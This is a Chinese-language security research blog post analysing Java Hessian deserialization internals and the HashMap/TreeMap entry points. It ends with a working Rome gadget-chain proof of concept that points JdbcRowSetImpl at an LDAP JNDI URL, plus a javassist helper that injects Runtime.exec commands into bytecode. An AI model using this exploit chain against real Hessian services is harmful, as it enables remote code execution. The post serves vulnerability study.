Java反序列化之Hessian

本文最后更新于:几秒前

基础使用

序列化

1
2
3
4
5
6
7
8
public static String ser(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
// hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

反序列化

1
2
3
4
5
public static Object unser(String string) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
return hessian2Input.readObject();
}

漏洞浅析

普通类反序列化流程

同之前fastjson相似的,在分析hessian反序列化的过程中,就需要创建一个普通的对象去跟踪分析一下反序列化流程,直到找到入口点

hessian反序列化的过程中并

创建一个普通类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package com.vivo.internet.moonbox.common.api;

public class Person {
//这里的Person没有实现Serializable接口
public String name;
public transient int age; //这里的age用transient修饰符
private float weight;
public Person(String name,int age,float weight){
this.name = name;
this.age = age;
this.weight = weight;
}

public String getName() {
return name;
}

public int getAge() {
return age;
}

public float getWeight() {
return weight;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
", weight=" + weight +
'}';
}
}

然后进行一波测试

1
2
3
String s = ser(new Person("potato",20,70));
Person person = (Person) unser(s);
System.out.println(person);

得到结果:

打上断点查看,原因在于Hessian在序列化数据的时候还是会检查是否实现Serializable接口

但是在Hessian中,序列化的这个规则很容易被打破,在上图第372行代码中存在一个变量_isAllowNonSerializable,在hessian中可以由下面的语句设置为true

1
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);

再次运行程序

观察到返回结果为下图,transient属性不会被反序列化

所以说,这个Serializable接口实现的限制只存在于序列化,并不存在于反序列化,Hessian的反序列化理论上支持反序列化任何对象~

然后就跟进看看一整个反序列化的流程

跟进readObject(),这里的buffer是待反序列化字节流,然后取标识位,用于判断是什么类型的对象

这里我们反序列化的是自定义的Person类,所以走到了C,

走进readObjectDefinition(),

当步过readString()后,发现type被赋值为Person的类名了,中间的过程简单跟进一下看看即可

此处再走过len,代表参数的个数(非transient)

根据类获取反序列化器

一路步入,来到判断type是否为基础类型,数组等的位置

后面的步骤都比较简单理解起来没什么难度(实际上是太懒了

就不写了

贴个调用栈有兴趣的可以自己调试调试

1
2
3
4
5
6
7
8
9
10
11
12
getFieldMap:318, UnsafeDeserializer (com.caucho.hessian.io)
<init>:80, UnsafeDeserializer (com.caucho.hessian.io)
getDefaultDeserializer:528, SerializerFactory (com.caucho.hessian.io)
loadDeserializer:481, SerializerFactory (com.caucho.hessian.io)
getDeserializer:403, SerializerFactory (com.caucho.hessian.io)
getDeserializer:717, SerializerFactory (com.caucho.hessian.io)
getObjectDeserializer:618, SerializerFactory (com.caucho.hessian.io)
getObjectDeserializer:594, SerializerFactory (com.caucho.hessian.io)
readObjectDefinition:2193, Hessian2Input (com.caucho.hessian.io)
readObject:2130, Hessian2Input (com.caucho.hessian.io)
unser:65, Test (com.vivo.internet.moonbox.common.api)
main:49, Test (com.vivo.internet.moonbox.common.api)

deserializer最后经过了一堆的判断之后,来到了获取默认反序列化器

最后调用到的是UnsafeDeserializer

在UnsafeDeserializer的静态代码块中能看到我们熟悉的Unsafe对象的获取

它的构造函数中,有这样一个fetFieldMap,根据Person的类,来获取对应的field

跟进去简单看一下,看到了对transient和static属性的处理,直接跳过不处理,这也是为什么前面观察到age属性无法被反序列化

获取到的field会被存入一个人hashmap

和原生反序列化类似的,Hessian也做了对readResolve()方法的处理

其实现则非常简单,循环遍历一遍所有的method名,判断是否有readResolve的

然后一路跟回来,过程中碰到的一些缓存啥的也可以看看

等回到readObjectDefinition()后,这里的reader就变成了UnsafeDeserializer

走到这一部分,再次通过readString()方法来获取field的名字,然后丢进fields和fieldNames数组中

往下走,把前面的那些重要的内容封装起来,没啥好说的

然后add到_classDefs类定义中

然后就结束了readObjectDefinition()的过程,如其名,获取对象的各种定义

继续跟进readObject(),

然后走到这里,跟进去

一路走到底,上面实际上就是从def中获取各种的属性啊反序列化器啊等等

跟进去

实际上就是开始通过unsafe来开始反序列化了,走不进去了就)

走过这一步,obj已经是一个空的Person对象了

再跟进这个readObject(),理论上来说,走进去之后就要开始给对象赋值了

没什么特别好说的,经过这样两步完成了赋值,然后就结束了反序列化的过程~

漏洞点

这么跟了一遍下来,是通过unsafe来进行赋值操作的,似乎并没有像之前原生反序列化或者fastjson那样有readObject()或者getter/setter方法来触发

那漏洞点在哪里呢?

答案就在于Hessian对于Map的反序列化过程中,会将反序列化过后的键值对put进map中

创建一个HashMap对象跟进调试调试

进到readObject()之后,对于tag的判断来到了’H’,也就是HashMap,跟进readMap()看看

继续跟进下面的readMap()

然后就来到了比较重要的一部分了,这里判断type如果为空,那么默认是给map赋值一个HashMap,

如果是Map类型的,则当做HashMap来反序列化,如果是SortedMap类型的则当做TreeMap来进行反序列化

然后就开始将键值对分别反序列化后存入map了

然后我们知道,当对hashMap调用put()方法的时候,为了检测key值唯一性,会先调用hash(key),进而调用key.hashCode(),因此我们就可以在hashMap的kay处做文章,构造利用链,hashCode()为入口点

而对于TreeMap,为了检验key值

之前没咋用过,,所以一开始出了点小问题,问题不大

改一个自定义的Comparable

1
2
3
4
5
6
7
8
9
10
TreeMap<Object,Object> treeMap = new TreeMap<>();
treeMap.put(new Comparable() {
@Override
public int compareTo(Object o) {
return 0;
}
}, null);

String treeMapStr = ser(treeMap);
unser(treeMapStr);

readObject()的第一步来到了’M’,经过readType()获取具体的Map类型之后,调用readMap()

然后走MapDeserializer的readMap()

再就是和上面HashMap的类似了

区别较大的是TreeMap的put()方法,跟进第一个compare()方法

会发现对k1调用了compareTo(),如果comparator(反射可赋值)不为null,还能调用comparator的compare()方法

自然就来到了我们的demo中的compareTo()了

gadget

Rome

马上学习了一下并紧接着这篇博客发布了关于yso中rome的反序列化:link

实际上一整条链子和yso的几乎没什么区别

1
2
3
4
5
6
7
8
9
10
11
JdbcRowSetImpl.getDatabaseMetaData()
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
HashMap.hash()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
package com.vivo.internet.moonbox.common.api;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import com.vivo.internet.moonbox.common.api.model.RepeatModel;
import com.vivo.internet.moonbox.common.api.serialize.HessianSerializer;
import com.vivo.internet.moonbox.common.api.util.SerializerWrapper;
import javassist.*;
import sun.misc.Unsafe;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;
import java.util.*;

public class Test {

public static void main(String[] args) throws Exception {

HashMap<Object,Object> hashMap = new HashMap<>();

JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:10389/cn=qwq,dc=example,dc=com");
// jdbcRowSet.getDatabaseMetaData();

ToStringBean toStringBean = createObjWithoutConstructor(ToStringBean.class);
setField(toStringBean,"_obj",jdbcRowSet);
setField(toStringBean,"_beanClass", JdbcRowSetImpl.class);

EqualsBean equalsBean = createObjWithoutConstructor(EqualsBean.class);
setField(equalsBean,"_obj",toStringBean);

hashMap.put(1,1);
setHashMapKey(hashMap,1,equalsBean);

String s = ser(hashMap);

unser(s);

}

public static Object unser(String string) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
Object obj = hessian2Input.readObject();
return obj;
}

public static String ser(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

public static void setHashMapKey(HashMap hashMap,Object oldKey,Object newKey) throws Exception{
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
// System.out.println(entry);
if (entry!= null){
Field keyField = entry.getClass().getDeclaredField("key");
keyField.setAccessible(true);
Object keyValue = keyField.get(entry);
if (keyValue.equals(oldKey))
setField(entry,"key",newKey);
}
}
}

public static byte[] getEvilBytes(String cmd) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("evil");
String code = "{java.lang.Runtime.getRuntime().exec(\""+cmd+"\");}";
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.insertBefore(code);
// ctClass.writeFile();
return ctClass.toBytecode();
}


public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}



public static <T> T createObjWithoutConstructor(Class<T> clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance();
}

}

有个小问题就是相比于yso的rome链,这里没办法使用TemplatesImpl,一开始没有报错也不清楚问题出在哪

摸索了一番之后猜测原因在于_tfactory属性是transient的,在原生反序列化中通过重写readObject()来给其赋值,但是在hessian中对于transient的属性是没办法反序列化的,并且只能在readResolve()中可能还原

(因为我yso的rome一开始用的是TemplatesImpl的触发点,,加上没有回显报错,导致这里硬控我半个小时,,

jdk原生反序列化